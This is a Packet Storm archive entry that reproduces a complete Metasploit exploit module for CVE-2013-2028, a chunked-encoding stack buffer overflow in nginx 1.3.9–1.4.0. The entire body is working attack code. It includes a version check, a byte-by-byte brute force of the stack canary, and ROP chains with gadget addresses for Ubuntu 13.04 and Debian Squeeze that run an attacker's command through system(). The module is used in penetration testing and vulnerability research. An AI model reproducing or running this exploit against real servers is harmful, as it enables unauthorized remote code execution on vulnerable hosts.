Nginx HTTP Server 1.3.9-1.4.0 Chunked Encoding Stack Buffer Overflow

2013-05-23T00:00:00
ID PACKETSTORM:121712
Type packetstorm
Reporter Greg MacManus
Modified 2013-05-23T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit4 < Msf::Exploit::Remote  
  
include Exploit::Remote::Tcp  
  
def initialize(info = {})  
  
super(update_info(info,  
'Name' => 'Nginx HTTP Server 1.3.9-1.4.0 Chuncked Encoding Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in versions 1.3.9 to 1.4.0 of nginx.  
The exploit first triggers an integer overflow in the ngx_http_parse_chunked() by  
supplying an overly long hex value as chunked block size. This value is later used  
when determining the number of bytes to read into a stack buffer, thus the overflow  
becomes possible.  
},  
'Author' =>  
[  
'Greg MacManus', # original discovery  
'hal', # Metasploit module  
'saelo' # Metasploit module  
],  
'DisclosureDate' => 'May 07 2013',  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2013-2028'],  
['OSVDB', '93037'],  
['URL', 'http://nginx.org/en/security_advisories.html'],  
['URL', 'http://packetstormsecurity.com/files/121560/Nginx-1.3.9-1.4.0-Stack-Buffer-Overflow.html']  
],  
'Privileged' => false,  
'Payload' =>  
{  
'BadChars' => "\x0d\x0a",  
},  
'Arch' => ARCH_CMD,  
'Platform' => 'unix',  
'Targets' =>  
[  
[ 'Ubuntu 13.04 32bit - nginx 1.4.0', {  
'CanaryOffset' => 5050,  
'Offset' => 12,  
'Writable' => 0x080c7330, # .data from nginx  
:dereference_got_callback => :dereference_got_ubuntu_1304,  
:store_callback => :store_ubuntu_1304,  
}],  
[ 'Debian Squeeze 32bit - nginx 1.4.0', {  
'Offset' => 5130,  
'Writable' => 0x080b4360, # .data from nginx  
:dereference_got_callback => :dereference_got_debian_squeeze,  
:store_callback => :store_debian_squeeze  
} ],  
],  
  
'DefaultTarget' => 0  
))  
  
register_options([  
OptPort.new('RPORT', [true, "The remote HTTP server port", 80])  
], self.class)  
  
register_advanced_options(  
[  
OptInt.new("CANARY", [false, "Use this value as stack canary instead of brute forcing it", 0xffffffff ]),  
], self.class)  
  
end  
  
def peer  
"#{rhost}:#{rport}"  
end  
  
def check  
begin  
res = send_request_fixed(nil)  
  
if res =~ /^Server: nginx\/(1\.3\.(9|10|11|12|13|14|15|16)|1\.4\.0)/m  
return Exploit::CheckCode::Appears  
elsif res =~ /^Server: nginx/m  
return Exploit::CheckCode::Detected  
end  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
print_error("#{peer} - Connection failed")  
end  
  
return Exploit::CheckCode::Unknown  
end  
  
#  
# Generate a random chunk size that will always result  
# in a negative 64bit number when being parsed  
#  
def random_chunk_size(bytes=16)  
return bytes.times.map{ (rand(0x8) + 0x8).to_s(16) }.join  
end  
  
def send_request_fixed(data)  
  
connect  
  
request = "GET / HTTP/1.1\r\n"  
request << "Host: #{Rex::Text.rand_text_alpha(16)}\r\n"  
request << "Transfer-Encoding: Chunked\r\n"  
request << "\r\n"  
request << "#{data}"  
  
sock.put(request)  
  
res = nil  
  
begin  
res = sock.get_once(-1, 0.5)  
rescue EOFError => e  
# Ignore  
end  
  
disconnect  
return res  
end  
  
def store_ubuntu_1304(address, value)  
chain = [  
0x0804c415, # pop ecx ; add al, 29h ; ret  
address, # address  
0x080b9a38, # pop eax ; ret  
value.unpack('V').first, # value  
0x080a9dce, # mov [ecx], eax ; mov [ecx+4], edx ; mov eax, 0 ; ret  
]  
return chain.pack('V*')  
end  
  
def dereference_got_ubuntu_1304  
chain = [  
0x08094129, # pop esi; ret  
0x080c5090, # GOT for localtime_r  
0x0804c415, # pop ecx ; add al, 29h ; ret  
0x001a4b00, # Offset to system  
0x080c360a, # add ecx, [esi] ; adc al, 41h ; ret  
0x08076f63, # push ecx ; add al, 39h ; ret  
0x41414141, # Garbage return address  
target['Writable'], # ptr to .data where contents have been stored  
]  
return chain.pack('V*')  
end  
  
def store_debian_squeeze(address, value)  
chain = [  
0x08050d93, # pop edx ; add al 0x83 ; ret  
value.unpack('V').first, # value  
0x08067330, # pop eax ; ret  
address, # address  
0x08070e94, # mov [eax] edx ; mov eax 0x0 ; pop ebp ; ret  
0x41414141, # ebp  
]  
  
return chain.pack('V*')  
end  
  
def dereference_got_debian_squeeze  
chain = [  
0x0804ab34, # pop edi ; pop ebp ; ret  
0x080B4128 -  
0x5d5b14c4, # 0x080B4128 => GOT for localtime_r; 0x5d5b14c4 => Adjustment  
0x41414141, # padding (ebp)  
0x08093c75, # mov ebx, edi ; dec ecx ; ret  
0x08067330, # pop eax # ret  
0xfffb0c80, # offset  
0x08078a46, # add eax, [ebx+0x5d5b14c4] # ret  
0x0804a3af, # call eax # system  
target['Writable'] # ptr to .data where contents have been stored  
]  
return chain.pack("V*")  
end  
  
def store(buf, address, value)  
rop = target['Rop']  
chain = rop['store']['chain']  
chain[rop['store']['address_offset']] = address  
chain[rop['store']['value_offset']] = value.unpack('V').first  
buf << chain.pack('V*')  
end  
  
def dereference_got  
  
unless self.respond_to?(target[:store_callback]) and self.respond_to?(target[:dereference_got_callback])  
fail_with(Exploit::Failure::NoTarget, "Invalid target specified: no callback functions defined")  
end  
  
buf = ""  
command = payload.encoded  
i = 0  
while i < command.length  
buf << self.send(target[:store_callback], target['Writable'] + i, command[i, 4].ljust(4, ";"))  
i = i + 4  
end  
  
buf << self.send(target[:dereference_got_callback])  
  
return buf  
end  
  
def exploit  
data = random_chunk_size(1024)  
  
if target['CanaryOffset'].nil?  
data << Rex::Text.rand_text_alpha(target['Offset'] - data.size)  
else  
  
if not datastore['CANARY'] == 0xffffffff  
print_status("#{peer} - Using 0x%08x as stack canary" % datastore['CANARY'])  
canary = datastore['CANARY']  
else  
print_status("#{peer} - Searching for stack canary")  
canary = find_canary  
  
if canary.nil? || canary == 0x00000000  
fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to find stack canary")  
else  
print_good("#{peer} - Canary found: 0x%08x\n" % canary)  
end  
end  
  
data << Rex::Text.rand_text_alpha(target['CanaryOffset'] - data.size)  
data << [canary].pack('V')  
data << Rex::Text.rand_text_hex(target['Offset'])  
  
end  
  
data << dereference_got  
  
begin  
send_request_fixed(data)  
rescue Errno::ECONNRESET => e  
# Ignore  
end  
handler  
end  
  
def find_canary  
# First byte of the canary is already known  
canary = "\x00"  
  
print_status("#{peer} - Assuming byte 0 0x%02x" % 0x00)  
  
# We are going to bruteforce the next 3 bytes one at a time  
3.times do |c|  
print_status("#{peer} - Bruteforcing byte #{c + 1}")  
  
0.upto(255) do |i|  
data = random_chunk_size(1024)  
data << Rex::Text.rand_text_alpha(target['CanaryOffset'] - data.size)  
data << canary  
data << i.chr  
  
unless send_request_fixed(data).nil?  
print_good("#{peer} - Byte #{c + 1} found: 0x%02x" % i)  
canary << i.chr  
break  
end  
end  
end  
  
if canary == "\x00"  
return nil  
else  
return canary.unpack('V').first  
end  
end  
end  
`